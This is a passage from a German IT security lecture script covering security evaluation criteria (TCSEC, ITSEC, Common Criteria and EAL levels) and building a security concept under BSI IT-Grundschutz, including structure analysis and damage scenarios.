Bluetooth bspw. ein Handy mit einem Laptop koppeln, so muss i.d.R. auf
einem Gerät per Hand eine Zahlenkombination eingegeben werden. Ähnlich
verhält es sich beim Koppeln eines Laptops mit einem Apple TV. Hier findet
die eigentliche Kommunikation i.d.R. über 802.11 WiFi statt.
7.6 Zusammenfassung
Dieses Kapitel gab eine knappe Einführung in die Thematik Sicherheit für ubiquitous
computing. Anhand von mehreren Szenarien wurden die Risiken und Herausforderungen beschrieben, mit denen man typischerweise konfrontiert wird, sobald man
sich mit den Besonderheiten und Limitierungen in UC-Umgebungen befasst. Für eine
umfangreichere Darstellung sei auf [Sta02] verwiesen.
Vor dem Hintergrund der jüngeren Entwicklungen im Umfeld von Big Data und
dem Bekanntwerden der NSA-Affäre2 , sind die Gefahren für die Privatsphäre durch
massenhafte Aufzeichnung von durch Nutzer generierten Daten im Internet einer
breiten Öffentlichkeit bekannt geworden. Da auch UC-Anwendungen inherent auf
die Aufzeichnung und Sammlung von Nutzerdaten angewiesen ist, wird der Schutz
der Privatsphäre und Techniken zur Anonymisierung weiterhin eine der wichtigen
Fragestellungen für die ubiquitous computing Forschung sein.
2
https://www.eff.org/nsa-spying/nsadocs
105
UC-Limitierungen
Keine zentralen
Autoritäten zur
Authentifizierung
Ressourcen und
Infrastruktur
CPU Leistung
Speicherkapazität
verfügbare Energie
Benutzerschnittstelle
Herausforderungen
Authentifizierung von Knoten/Endgeräten
Policy basierte Entscheidungen
Leichtgewichtiges Design und
Implementierung von Algorithmen und
Protokollen
Einrichtung eines trusted path
106
Tabelle 7.2: Limitierungen und Herausforderungen
Zur Beurteilung der Sicherheit von IT-Systemen wurden allgemein anerkannte Vorgehensmodelle und Kriterienkataloge entwickelt, die es unter anderem erlauben,
unterschiedlicher Systeme, die eine ähnliche Funktionalität besitzen, hinsichtlich ihrer
Sicherheit vergleichen zu können.
8.1 Beispiel (Signaturkarten). Wir betrachten als Beispiel Signaturkarten, d.h.
Chipkarten, die einen geheimen Schlüssel sk zum Signieren enthalten. Um die Sicherheit von Signaturen, die mit diesen Karten ausgestellt wurden, zu beurteilen, müssen
u.a. folgende Fragen beantwortet werden können:
• Sind die verwendeten Signaturalgorithmen (inkl. Schlüssellängen) sicher.
• Wie werden die Schlüssel erzeugt?
• Wie werden die für die Signatur notwendigen Zufallszahlen erzeugt?
• Werden sichere Zufallszahlengeneratoren genutzt?
• Wie ist der geheime Schlüssel geschützt (z.B. gespeichert in einem nichtauslesbaren Bereich, Zugriff nur mit einer PIN)?
• Wie werden Signaturkarte und PIN verteilt?
• Sind die Signaturalgorithmen sicher implementiert, genauer, erlauben Seitenkanalangriffe (Messung des Stromverbrauchs, der Berechnungszeit) Rückschlüsse
auf den geheimen Schlüssel?
• Ist der Kartenhersteller, -aussteller vertrauenswürdig?
• Was passiert bei Verlust der Signaturkarte?
Eine weitere wichtige Frage ist, ob die oben betrachteten Sicherheitsfragen vollständig
sind oder weitere Aspekte betrachtet werden müssen.
Kriterienkataloge dienen also dazu, Vertrauen in die Wirksamkeit von IT-Sicherheitsfunktionen von IT-Systemen zu schaffen. An Hand einer Prüfung auf Basis der Kriterienkataloge (auch Evaluierung genannt), wird die Wirksamkeit nachgewiesen und
mit einem entsprechenden Zertifikat von einer offiziellen Stelle bestätigt.
Wir werden zunächst im Abschnitt Einführung die geschichtliche Entwicklung
verschiedener Bewertungskriterien kurz vorstellen und dann im Abschnitt 8.2 die
Methodik an Hand der heute weit verbreiteten Common Criteria erläutern.
107
8.1 Einführung
Die ältesten Kriterien zur Bewertung der Sicherheit von IT-Systemen, die Trusted
Computer System Evaluation Criteria (TCSEC), wurden 1980 vom US National
Computer Security Center entwickelt. Zunächst lag der Fokus auf Stand-AloneComputer, wurde aber 1985 um die Trusted Network Interpretation ergänzt, um auch
vernetzte Systeme evaluieren zu können. Wegen der Farbe des Katalogumschlags sind
die TCSEC-Kriterien auch als Orange Book bekannt.
TCSEC spielt heute keine Rollen mehr, auch weil die Kriterien sich hauptsächlich
auf zentrale Betriebssysteme konzentrieren und offene Kommunikationssysteme (die es
zu diesem Zeitpunkt noch nicht im heutigen Maßstab gab) und spezielle Anwendungen
nur unzureichend erfasst werden können. Weiter konzentrieren sich die Kriterien
sehr stark auf Vertraulichkeitseigenschaften des Systems. Andere Funktionalitäten,
wie Integritäts-, Authentisierungs- und Nichtabstreitbarkeitseigenschaften können
ebenfalls nur unzureichend innerhalb der Kriterien bewertet werden.
Ein wesentlicher Kritikpunkt betrifft die fehlende Trennung zwischen der Sicherheitsfunktionalität und der Qualität, mit der diese Funktionalität erbracht wird. In
TCSEC wird nur bewertet, dass eine Funktionalität erbracht wird aber nicht erfasst,
wie hoch die Wirksamkeit der Maßnahme ist.
Einige dieser Kritikpunkte wurden in der von der Vorgängerbehörde des deutschen Bundesamtes für Sicherheit in der Informationstechnik 1989 entwickelten
IT-Sicherheitskriterien, wegen des Katalogumschlags auch als Grünbuch bezeichnet, aufgegriffen. Insbesondere wurde die bei TCSEC fehlende Trennung zwischen
Funktionalität und Qualität in diesen Kriterien aufgenommen.
Die europäischen ITSEC-Kriterien (Information Technology Security Evaluation
Criteria) sind eine Harmonisierung von Bewertungskriterien verschiedener europäischer Länder (Großbritannien, Frankreich, Niederlande und Deutschland (mit dem
Grünbuch)).
IT-, ITSEC- und die in Abschnitt 8.2 erläuterten Common Criteria-Zertifikate
werden in Deutschland vom Bundesamt für Sicherheit in der Informationstechnik als
“ein amtlich bestätigter Nachweis der Sicherheitsleistung eines Produktes” ausgestellt.
Bestandteil des Zertifizierungsverfahrens ist eine technische Prüfung, die von einer
vom BSI anerkannten Prüfstelle durchgeführt werden kann. Das BSI bestätigt mit der
Ausstellung des Zertifikates, dass die Prüfstelle korrekt geprüft hat. Dazu wird dem
BSI der Prüfbericht von der Prüfstelle übergeben, die wiederrum vom BSI geprüft
wird.
8.2 Common Criteria (CC)
Wir werden nun die Prinzipien von Bewertungskriterien am Beispiel des heute am
weitesten verbreiteten und genutzten Kriterienkatalogs erläutern.
Die Common Criteria for Information Technology Security Evaluation (kurz auch
Common Criteria oder CC; deutsch etwa Allgemeine Kriterien für die Bewertung der
108
Sicherheit von Informationstechnologie) sind ein internationaler Standard über die
Kriterien der Bewertung und Zertifizierung der Sicherheit von Computersystemen im
Hinblick auf Datensicherheit.
Die internationale Normung der allgemeinen Kriterien geht auf eine Kooperation
der Fachdienste der USA, der EU-Nationen und Japans sowie Australiens zurück. Sie
sind eine anerkannte gemeinsame Grundlage für Bewertungen der Datensicherheit und
lösen insbesondere den europäischen ITSEC- und den US-amerikanischen TCSECStandard ab. Das soll vermeiden, dass Komponenten oder Systeme in verschiedenen
Ländern mehrfach bewertet und zertifiziert werden müssen. Durch die Verabschiedung
der Norm ISO 15408 in mehreren Teildokumenten sind die allgemeinen Kriterien
nun als allgemein und weltweit anerkannter Stand der Technik zu werten. Die Norm
unterliegt den üblichen Änderungsverfahren der ISO.
Eine Zertifizierung gemäß der Common Critiera ist international bis zur Evaluierungsstufe (EAL, Evaluation Assurance Level) EAL4 gegenseitig anerkannt. Höhere
Evaluierungsstufen müssen international nicht anerkannt werden, haben aber in der
privaten Wirtschaft aufgrund ihrer enormen Komplexität ohnehin kaum praktische
Bedeutung. Zur Zeit werden IT-Systeme nach Common Criteria von Australien,
Neuseeland, USA, Kanada, Frankreich, Deutschland, Großbritannien und Japan
selbst zertifiziert und anerkannt. Darüber hinaus werden die Zertifikate auch von
weiteren europäischen und außereurop2aischen Staaten, wie z.B. Schweden, Israel,
Finnland, anerkannt.
8.2.1 Überblick und Vorgehensweise
Die Common Criteria umfassen drei Teile:
• Teil 1: Einführung und allgemeines Modell / Introduction and General Model:
Dieser Teil enthält einen Überblick über die erforderlichen Dokumente, die für
eine Evaluierung des Produktes (Evaluierungsgegenstand (EVG), Target of
Evaluation (TOE)) vorzulegen sind.
• Teil 2: Funktionale Sicherheitsanforderungen / Functional Requirements: Dieser
Teil enthält eine Beschreibung der Kriterien und Anforderungen an Sicherheitsgrundfunktionen (z.B. Identifikation und Authentifizierung, Zugriffskontrolle).
Diese Sicherheitsanforderungen spiegeln aktuelles allgemein anerkanntes und
akzeptiertes Expertenwissen wider.
• Teil 3: Anforderungen an die Vertrauenswürdigkeit / Assurance Requirements:
Teil 3 enthält die Beschreibung der Kriterien zur Evaluierung von Schutzprofilen
sowie der Sicherheitsvorgaben für die Vertrauenswürdigkeit.
Die Bewertung ist gegliedert, wie bereits beim europäischen Kriterienkatalog ITSEC
und dem älteren BSI-Standard IT-Sicherheitskriterien, in die Bewertung
• der Funktionalität (d.h. den Funktionsumfang) des betrachteten Systems und
109
• der Vertrauenswürdigkeit (d.h. der Qualität der Umsetzung).
Die Qualität der Umsetzung wird nach den Gesichtspunkten der Wirksamkeit der
verwendeten Methoden und der Korrektheit der Implementierung bewertet. Diese
Bewertung führt letztendlich zur Höhe der Evaluationsstufe.
Das grundsätzliche Paradigma der Common Criteria ist die Trennung der Betrachtung von Funktionalität und Vertrauenswürdigkeit. Grundsätzlich erfolgt durch die
Kriterien keine Vorgabe, dass eine bestimmte Funktionalität umgesetzt werden muss
oder dass diese mit einer bestimmten Vertrauenswürdigkeit geprüft werden muss.
Beide Aspekte werden zu Beginn der Evaluation vom Hersteller des Produkts in den
Sicherheitsvorgaben definiert.
Die Evaluierung erfolgt in mehreren Schritten:
1. Zur Bewertung der Funktionalität wird zunächst eine von fertigen Produkten
unabhängige Sicherheitsbetrachtung durchgeführt, die zur Erstellung eines
allgemeinen Schutzprofils (Protection Profile (PP), siehe Abschnitt 8.2.3) führt.
2. Mit Beginn der Evaluierung werden die Sicherheitsanforderungen des Schutzprofils vom Hersteller in spezielle Sicherheitsvorgaben (Security Target (ST))
für diesen konkreten Evaluierungsgegenstand überführt. Über das Schutzprofil
hinaus können hier weitere Informationen und Beschreibungen über das Produkt oder die genaue Einsatzumgebung hinzugefügt werden. Dabei wird auch
die geforderte Vertrauenswürdigkeit, die Prüftiefe, im allgemeinen gemäß EAL
(Evaluation Assurance Level) festgelegt.
3. Vor der Evaluierung des Produkts findet zunächst eine Evaluierung der Sicherheitsvorgaben statt. Hier wird geprüft, ob die Bedrohungen, die in den
Sicherheitsvorgaben beschriebenen Einsatzumgebungen, die Sicherheitsziele und
die Sicherheitsanforderungen auf einander abgestimmt sind. Hiermit werden
die Grundlagen für die eigentliche Evaluierung des Produktes gelegt.
4. Eine unabhängige Prüfstelle prüft, ob der Hersteller des Evaluierungsgegenstandes die in den Sicherheitsvorgaben beschriebenen Sicherheitsvorgaben wie
beschrieben umgesetzt hat. Die Stufe der Evaluierung gibt an, mit welcher Tiefe
geprüft wurde und mit welcher Qualität die Umsetzung erfolgte.
5. Im letzten Schritt wird die Prüfung der Prüfstelle von einer amtlichen Stelle
überprüft und das Zertifikat vergeben. Das Zertifikat ist die Bestätigung dafür,
dass die vom Hersteller in den Sicherheitsvorgaben behauptete Sicherheitsfunktionalität umgesetzt wurde und wirksam ist.
Dieser letzte Schritt wird in Deutschland vom Bundesamt für Sicherheit in der
Informationstechnik vorgenommen. In den USA ist die National Security Agency,
NSA für die Evaluierung nach Common Criteria zuständig.
110
8.2.2 Funktionsklassen
Im Gegensatz zu den bisherigen Normen sind innerhalb der Common Criteria Methodik Funktionalitätsklassen nicht hierarchisch gegliedert. Stattdessen beschreibt
jede Klasse eine bestimmte Grundfunktion der Sicherheitsarchitektur, die getrennt
bewertet werden muss. Die Klassen sind in Familien aufgeteilt. Jede Familie besitzt
mindestens eine Komponente, in der die Sicherheitsanforderungen an die konkrete
Funktionalität (z.B. Identifizierung, Zugriffskontrolle, Beweissicherung) beschrieben
werden. Wichtige Funktionalitätsklassen sind:
• FAU (Sicherheitsprotokollierung): Zur Sicherheitsprotokollierung gehören das
Erkennen, Aufzeichnen, Speichern und Analysieren für sicherheitsrelevante
Verfahren.
• FCO (Kommunikation): Diese Klasse stellt zwei Familien bereit, die sich mit
der Sicherstellung der Identität der an der Kommunikation beteiligten Seiten
befassen, eine Familie zur Sicherstellung der Identität des Urhebers und eine
zur Sicherheitstellung der Identität des Empfängers.
• FCS (Kryptographische Unterstützung): Diese Klasse besteht aus zwei Familien,
eine für das Schlüsselmanagement und eine für den kryptographischen Betrieb.
• FDP (Schutz der Benutzerdaten): Hierzu gehören u.a. Sicherheitspolitiken zum
Schutz der Daten (z.B. Zugriffskontrollpolitik oder Informationsflusskontrolle).
• FIA (Identifikation und Authentisierung): Diese Klasse behandelt Anforderungen an Verfahren zur Einrichtung und Verifizierung von Benutzeridentitäten.
Hierzu gehören Bestimmung und Verifizierung von Nutzeridentitäten, Bestimmung von Berechtigungen.
• FMT (Sicherheitsmanagement): Diese Klasse behandelt u.a. Festlegungen unterschiedlicher Managementrollen und ihre Interaktion (Einrichtung, Separierung
der Berechtigungen) oder Management von Zugriffskontrollisten.
• FPR (Privatsphäre): Diese Klasse stellt Anforderungen an der Schutz des
Benutzers gegen Enthüllung und Mißbrauch seiner Identität).
• FPT (Schutz der Sicherheitsfunktionen des EGV): Die Klasse enthält Anforderungen an die Integrität und das Management der Mechanismen, die
die Sicherheitsfunktionen bereitstellen, sowie an die Integrität von Daten der
Sicherheitsfunktionen.
• FRU (Betriebsmittelnutzung): Diese Klasse beschäftigt sich hauptsächlich mit
der Verfügbarkeit.
• FTA (EVG-Zugriff) spezifiziert Anforderungen zur Kontrolle der Einrichtung
einer Benutzersitzung.
111
• FTP (vertrauenswürdiger Pfad/Kanal): Die Familien dieser Klasse stellen Anforderungen an die Kommunikation zwischen Nutzer und den Sicherheitsfunktionen
des EVG.
8.2.3 Schutzprofile und Sicherheitsvorgaben
Funktionalitätsklassen werden zu Schutzprofilen zusammengefasst, die den typischen
Funktionsumfang bestimmter Produkte (z. B. Firewalls, Smartcards etc.) beschreiben.
Damit können Standardsicherheitsprobleme einer Klasse von Produkten produktunabhängig zusammengefasst werden. Wie bereits beschrieben, werden bei der
Evaluierung eines konkreten Produktes aus dem für dieses Produkt vorgesehene
Schutzprofil Sicherheitsvorgaben abgeleitet.
In Schutzprofilen werden sowohl Anforderungen an die Funktionalität als auch an
die Vertrauenswürdigkeit zusammengefasst, wodurch eine wohldefinierte Menge von
Sicherheitszielen vollständig abgedeckt wird. Sie bilden somit ein Sicherheitskonzept
für den Evaluierungsgegenstand.
Der strukturelle Aufbau eines Schutzprofils ist wie folgt:
1. PP-Einführung: Die Einführung soll das Schutzprofil eindeutig identifizieren
und einen kurzen Überblick geben. Ziel ist, das Anwender schnell entscheiden
können, ob das vorliegende Schutzprofil für ihn von Interesse ist.
2. EVG-Beschreibung: Dieses Kapitel beschreibt die Klasse von Produkten, auf
die das Schutzprofil Anwendung finden kann, im Detail.
3. EVG-Sicherheitsumgebungen: Im einem Schutzprofil müssen die allgemeinen
IT-Sicherheitseigenschaften, aber auch die Grenzen der Benutzung erläutert
werden. Dieses Kapitel wir in drei Abschnitte unterteilt:
a) Annahmen: Dieser Abschnitt beschreibt den Schutzbedarf der zu verarbeitenden Daten und typische Einsatzumgebungen. Aufgenommen werde
aber auch gesetzliche Auflagen und vorgeschriebene Sicherheitsstandards.
b) Bedrohungen: In diesem Abschnitt wird eine Art Risikoanalyse durchgeführt und so die abzuwehrenden Bedrohungen auf die zu schützenden
Werte ermittelt.
c) Sicherheitspolitiken (organisatorisch): Dieser Abschnitt beschreibt Annahmen über den sicheren Betrieb des EVG.
4. Sicherheitsziele: Dieses Kapitel muss detaillierte Angaben über die Gegenmaßnahmen der beschriebenen Bedrohungen machen und wie die Sicherheitspolitiken
erfüllt werden. Das Kapitel wir in zwei Abschnitte unterteilt:
a) Sicherheitsziele für den EVG
b) Sicherheitsziele für die Umgebung
112
5. Sicherheitsanforderungen: Ziel eines Schutzprofils ist die Beschreibung des Sicherheitsbedarfs für eine bestimmte Produktfamilie in Form von Sicherheitsanforderungen. Zur Erstellung der Anforderungen kann auf die CC-Funktionsklassen
(für die Sicherheitsfunktionen des EVG und der IT-Umgebung, in der das EVG
eingesetzt werden soll) und auf die CC-Vertrauenswürdigkeitsklassen (für die
Vertrauenswürdigkeit des EVG) zurückgegriffen werden. Dieses Kapitel wird
wie folgt unterteilt:
a) EVG-Anforderungen
i. an den EVG
ii. an die Vertrauenswürdigkeit des EVG
b) Sicherheitsanforderungen an die IT-Umgebung
6. Erklärung: Dieses Kapitel soll den Verfasser zwingen, eine erste Konsistenzund Vollständigkeitsanalyse durchzuführen und so die Angemessenheit der
Anforderungen darzulegen. Dieses Kapitel unterteilt sich wieder in die folgenden
beiden Abschnitte:
a) Erklärung der Sicherheitsprofile
b) Erklärung der Sicherheitsanforderungen
8.2.4 Vertrauenswürdigkeitsklassen
Die Sicherheitsanforderungen an die Vertrauenswürdigkeit sind wie bei den Sicherheitsanforderungen an die Funktionalität mittels Klassen, Familien und Komponenten
strukturiert. Wir geben im Folgenden einen kurzen Überblick:
• ACM behandelt das Konfigurationsmanagement zur Sicherstellung der Integrität
des Evaluierungsgegenstandes.
• ADO, Auslieferung und Betrieb, definiert Anforderungen an Maßnahmen, Prozeduren und Normen, die sich mit der Auslieferung, der Installation und den
Betrieb befassen.
• ADV, Entwicklung, definiert Anforderungen zur Entwicklung des Evaluierungsgegenstandes von einer Übersichtsspezifikation in das Dokument Sicherheitsanforderung (Erweiterung des Protection Profiles) bis zur tatsächlichen Implementierung.
• AGD, Handbücher, definieren Anforderungen an die vom Hersteller zur Verfügung gestellten Betriebsdokumentationen.
• ALC behandelt die Lebenszyklus-Unterstützung, d.h. Schritte der Entwicklung
inklusive Fehlerbehebungsschritte, korrekter Gebrauch von Werkzeugen und
Techniken und Schutz der Entwicklungsumgebung.
113
• ATE, Testen, siehe unten.
• AVA, Schwachstellenbewertung, behandelt insbesondere solche Schwachstellen,
die bei Konstruktion, Missbrauch oder falscher Konfiguration des Evaluierungsgegenstandes entstehen können.
Diese Vertrauenswürdigkeitsklassen und -familien bilden die Grundlage zur Festlegung der Evaluierungsstufen (siehe auch Unterabschnitt 8.2.5). In jeder Familie
gibt es verschiedene Komponenten, die durchnummeriert sind. Eine höhere Nummer
bedeutet eine tiefere Beschreibung, einen tieferen Test usw. Wir wollen das am
Beispiel der Klasse ATE erläutern: Diese Vertrauenswürdigkeitsklasse legt Anforderungen an das Testen des Evaluierungsgegenstandes dar, die nachweisen, dass die
Sicherheitsanforderungen erfüllt werden.
• Die Familie Testabdeckung (ATE COV) behandelt die Vollständigkeit der vom
Entwickler durchgeführten funktionalen Tests der Sicherheitsfunktionen.
• Die Testtiefe (ATE DPT) befasst sich mit dem Detaillierungsgrad der Tests.
• Die Familie ATE FUN (Funktionale Tests) enthält funktionale Tests zur Prüfung
der im Dokument Sicherheitsanforderungen beschrieben Sicherheitsvorgaben.
• Die Familie ATE IND (unabhängige Tests) beschreiben den Detaillierungsgrad,
bis zu dem funktionale Tests von unabhängigen Dritten durchgeführt werden.
8.2.5 Evaluierungsstufen
Die Common Criteria definieren sieben Stufen der Vertrauenswürdigkeit (Evaluation
Assurance Level, EAL1-7), die die Korrektheit der Implementierung des betrachteten
Systems bzw. die Prüftiefe beschreiben. Mit steigender Stufe der Vertrauenswürdigkeit
steigen die Anforderungen an die Tiefe, in der der Hersteller sein Produkt beschreiben
muss und mit dem das Produkt geprüft wird. Die folgende Tabelle gibt einen Übersicht
über die Evaluation Assurance Level.
• EAL1 funktionell getestet
• EAL2 strukturell getestet
• EAL3 methodisch getestet und überprüft
• EAL4 methodisch entwickelt, getestet und durchgesehen
• EAL5 semiformal entworfen und getestet
• EAL6 semiformal verifizierter Entwurf und getestet
• EAL7 formal verifizierter Entwurf und getestet
114
Technologie allein kann nicht alle IT-Sicherheitsprobleme einer Institution lösen.
Vielmehr müssen auch organisatorische (z.B. Festlegung von Verantwortlichkeiten,
Schlüsselmanagement), personelle (Schulung, Einweisung, Sensibilisierung von Mitarbeitern), und infrastrukturelle (Gebäudesicherung) Maßnahmen getroffen und
berücksichtigt werden.
Ein IT-Sicherheitsmanagementsystem (engl. Information Security Management
System (ISMS)) ist eine Sammlung von Vorgehensweisen und Vorschriften, um einen
IT-Sicherheitsprozess zu etablieren und im laufenden Betrieb aufrechtzuerhalten.
Die Auswahl der Schutzmaßnahmen hängt von der konkreten Einsatzumgebung
und vom Schutzbedarf der zu verarbeitenden Daten ab. Dabei müssen natürlich alle
Sicherheitsmaßnahmen so aufeinander abgestimmt werden, dass sich in der Gesamtheit
ein für die Institution angemessenes Sicherheitsniveau ergibt. Für die Etablierung
und Umsetzung der IT-Sicherheitsmaßnahmen gibt es verschiedene standardisierte
Vorgehensmodelle, wie z.B. ISO 2700x und den IT-Grundschutz des Bundesamtes
für Sicherheit in der Informationstechnik (BSI), von denen wir das zweite in diesem
Kapitel näher kennen lernen. Allen gemeinsam ist ein strukturiertes Vorgehen, das
insbesondere den Aufbau eines IT-Sicherheitskonzeptes beschreibt, in dem nicht nur
die IT-Sicherheitsmaßnahmen festgeschrieben werden, sondern auch das Vorgehen,
wie diese Auswahl erfolgt oder wer für die einzelnen Maßnahmen verantwortlich ist.
Die Erarbeitung solch eines IT-Sicherheitskonzeptes erfolgt dabei in mehreren Schritten. Die einzelnen Umsetzungspunkte, insbesondere Bedrohungs- und Risikoanalyse,
aber auch die Evaluation, erfordern fundierte Kenntnisse über Sicherheitsprobleme
und Schwachstellen existierender IT-Systeme und -Dienste.
• Zunächst wird in der IT-Strukturanalyse alle Bestandteile des IT-Verbund
der Institution beschrieben.
• Die Schutzbedarfsanalyse ermittelt an Hand von möglichen Schadensszenarien den Schutzbedarf der Daten, IT-Systeme und Räumlichkeiten.
• In der Gefährdungsanalyse werden mögliche Gefährdungen, die Schäden
verursachen können, ermittelt.
• Die Risikoanalyse bewertet die Gefährdungen an Hand der Eintrittswahrscheinlichkeit und den möglichen Schäden (ermittelt in der Schutzbedarfsanalyse), die durch die ermittelten Gefährdungen entstehen können.
115
• An Hand der Risikoanalyse werden nun Schutzmaßnahmen für jede Gefährdung ausgewählt.
• In einer (extern oder intern) durchgeführten Evaluierung wird überprüft, ob
die ausgewählten Schutzmaßnahmen wirksam und ausreichend sind, um den
IT-Verbund in seiner Gesamtheit zu schützen.
Im Anschluss müssen die Schutzmaßnahmen umgesetzt und im laufenden Betrieb
aufrechterhalten werden. Insbesondere die Aufrechterhaltung im laufenden Betrieb
erfordert die kontinuierliche Überwachung der Einhaltung der Schutzmaßnahmen und,
z.B. bei Sicherheitsvorfällen oder Änderungen der Bewertung eingesetzter kryptographischer Verfahren, Anpassungen am Sicherheitskonzept. Hierfür ist es notwendig,
Ressourcen bereitzustellen und klare Verantwortlichkeiten zu benennen. IT-Sicherheit
ist eine Querschnittsaufgabe, die alle Bereiche einer Institution betreffen und muss
daher im Verantwortungsbereich der Institutsleitung liegen.
Tabelle 9.1 stellt die einzelnen Ebenen eines IT-Sicherheitsmanagementsystems
von der Initiierung bis zum Betrieb noch einmal graphisch dar.
Initiierung des IT-Sicherheitsprozesses
- Erstellung einer Sicherheitsleitlinie
- Einrichtung des IT-Sicherheitsmanagements
+ Aufbau einer IT-Sicherheitsorganisation
+ Bereitstellung von Ressourcen
+ Einbindung aller Mitarbeiter
↓
Erstellung eines IT-Sicherheitskonzepts
- IT-Strukturanalyse
- Schutzbedarfsfeststellung
- Gefährdungsanalyse
- Risikoanalyse
- Auswahl von Schutzmaßnahmen
- Validierung und Evaluation
↓
Umsetzung der Schutzmaßnahmen
- technische Maßnahmen
- organisatorische Maßnahmen
- personelle Maßnahme
- infrastrukturelle Maßnahmen
↓
Aufrechterhaltung im laufenden Betrieb
strategische Ebene
(Leitungsaufgabe)
taktische Ebene
operative Ebene
Tabelle 9.1: Vorgehen zur Etablierung eines IT-Sicherheitsmanagementsystems
116
9.1 IT-Sicherheitskonzept nach IT-Grundschutz
9.1 IT-Sicherheitskonzept nach IT-Grundschutz
Wir werden im Folgenden den organisatorischen Prozess der Entwicklung eines ITSicherheitskonzepts am Beispiel des vom BSI vorgeschlagenen Vorgehens nach dem
IT-Grundschutz kurz vorstellen.
Für Standardkomponenten (im BSI-Grundschutz Bausteine genannt) eines ITVerbundes, für die sich ein normaler Schutzbedarf ergibt, wurden vom BSI bereits
Gefährdungs- und Risikoanalysen durchgeführt und entsprechende Schutzmaßnahmen
vorgeschlagen. Diese sind in den IT-Grundschutzkatalogen1 detailliert beschrieben.
Dieses Vorgehen umfasst also die Strukturanalyse, die Schutzbedarfsfestellung, eine
Modellierung des IT-Verbundes (Formulierung der Bestandteile des IT-Verbundes
als Bausteine), die Auswahl von Maßnahmen aus den IT-Grundschutzkatalogen und
einen Basis-Sicherheitscheck, wenn sich ein normaler Schutzbedarf ergibt.
Für IT-Systeme, die einen hohen bis sehr hohen Schutzbedarf haben bzw. die im
Grundschutz nicht als Bausteine vorgesehen sind, müssen zusätzlich Gefährdungsund Risikoanalysen durchgeführt werden.
Tabelle 9.2 gibt einen kurzen Überblick.
IT-Strukturanalyse
- Erfassung der Räumlichkeiten, Netze, IT-Systeme und IT-Anwendungen
- Gruppenbildung
↓
Schutzbedarfsfeststellung
normal .
& hoch, sehr hoch
IT-Grundschutzanalyse
Gefährdungsanalyse
- Modellierung
- Gefährdungsübersicht
- Auswahl von Maßnahmen
- zusätzliche Gefährdugen
- Basis-Sicherheitscheck
↓
Risikoanalyse
- Gefährdungsbewertung
↓
Maßnahmen
- Auswahl von Maßnahmen
- Restrisikoanalyse
Realisierungsplanung
- Konsolidierung der Maßnahmen
- Umsetzungsplan
Tabelle 9.2: Erstellung eines IT-Sicherheitskonzepts nach IT-Grundschutz
1
https://www.bsi.bund.de/DE/Themen/ITGrundschutz/StartseiteITGrundschutz/
117
9.2 IT-Strukturanalyse
Ziel der Strukturanalyse ist die Darstellung aller Bestandteile des IT-Verbundes und
ihrer Beziehungen untereinander. Dies sind:
• Geschäftsprozesse (z.B. Personalverwaltung, Entgegennahme von Bestellungen),
• Daten/Informationen (z.B. Personaldaten, Verträge, aber auch technische Informationen wie Konfigurationsdateien),
• Anwendungen (z.B. Betriebssysteme, Office-, E-Mail-, Backup-Programme),
• IT-Systeme (z.B. Computer, Server, Router, USB-Sticks, Smartphones),
• Kommunikationsnetze (z.B. Intranet, Internet),
• Räumlichkeiten (z.B. Büros, Standorte).
Die Erhebung muss strukturiert erfolgen. Eine Möglichkeit ist, ausgehend von
den Geschäftsprozessen zunächst alle relevanten Daten/Informationen zu erheben,
die für die Geschäftsprozesse benötigt werden. Im nächsten Schritt werden dann
alle Anwendungen, die die erhobenen Daten/Informationen verarbeiten und darauf
folgend die IT-Systeme, auf denen die Anwendungen laufen, ermittelt. Zum Abschluss
werden dann die Räumlichkeiten ermittelt, in denen die ermittelten IT-Systeme
stehen und die Kommunikationsnetze, an denen die IT-Systeme angeschlossen sind.
Um die Komplexität der Strukturanalyse zu verringern, sollten ähnliche Objekte
zu Gruppen zusammengefasst werden, z.B., wenn sie
• vom gleichen Typ sind,
• ähnlich konfiguriert sind,
• ähnlich in das Netz eingebunden sind,
• ähnlichen Rahmenbedingungen unterliegen,
• ähnliche Anwendungen bedienen.
Typischerweise können Arbeitsplatzrechner von Mitarbeitern, die ähnliche Aufgaben
erledigen, zu einer Gruppe zusammengefasst werden. Gleiches gilt für Büroräume.
9.3 Schadensszenarien
Die Stärke der eingesetzten IT-Sicherheitsmaßnahmen hängt von der Höhe des Schutzbedarfs der Geschäftsprozesse, Informationen, IT-Systeme, Kommunikationsnetze
und Räumlichkeiten im Hinblick auf die aufgeführten Ziele Vertraulichkeit, Integrität, Authentizität, Nichtabstreitbarkeit und Verfügbarkeit ab, genauer, von den
Schäden, die bei Verlust der aufgeführten Ziele entstehen können. Diese lassen sich
typischerweise folgenden Schadensszenarien zuordnen:
118
9.3 Schadensszenarien
• Verstoß gegen Gesetze/Vorschriften/Verträge: Die Schwere des Schadens ist abhängig von den rechtlichen Kosequenzen, die sich aus dem Nichterreichen der oben aufgeführten Ziele ergeben können.
Beispiele für in Deutschland relevante Gesetze, Vorschriften und Verträge sind:
– Gesetze: Grundgesetz, Bürgerliches Gesetzbuch, Bundesdatenschutzgesetz
und Datenschutzgesetze der Länder, Informations- und Kommunikationsdienstgesetz, Gesetz zur Kontrolle und Transparenz im Unternehmen
– Vorschriften: Verschlusssachenanweisung. Verwaltungsvorschriften, Verordnungen und Diesntvorschriften
– Verträge zur Wahrung von Betriebsgeeihmnissen, Dienstleistungsverträge
im Bereich Datenverarbeitung
• Beeinträchtigung des informationellen Selbstbestimmungsrechts: Beispiele für die Beeinträchtigung des informationellen Selbstbestimmungsrechts
sind: Unzulässige Erhebung personenbezogener Daten ohne Rechtsgrundlage oder Einwilligung, unbefugte Kenntnisnahme bei der Datenverarbeitung
bzw. der Übermittlung von personenbezogenen Daten, unbefugte Weitergabe
personenbezogener Daten, Nutzung von personenbezogenen Daten zu einem
anderen, als dem bei der Erhebung zulässigen Zweck und Verfälschung von
personenbezogenen Daten in IT-Systemen oder bei der Übertragung.
• Beeinträchtigung der persönlichen Unversehrtheit: Fehlfunktionen von
IT-Systemem können unmittelbar zu gesundheitlichen Schäden (Verletzungen,
Invalidität oder Tod von Personen) führen.
Beispiele für solche IT-Systeme sind: medizinische Überwachungsrechner, medizinische Diagnosesysteme, Flugkontrollrechner und Verkehrsleitsysteme.
• Beeinträchtigung der Aufgabenerfüllung: Der Verlust der Ziele Verfügbarkeit oder Integrität von Daten kann die Aufgabenerfüllung in einer Institution
erheblich beeinträchtigen.
Beispiele hierfür sind: Fristversäumnisse durch verzögerte Bearbeitung von
Verwaltungsvorgängen, verspätete Lieferung aufgrund verzögerter Bearbeitung
von Bestellungen, fehlerhafte Produktion aufgrund falscher Steuerungsdaten
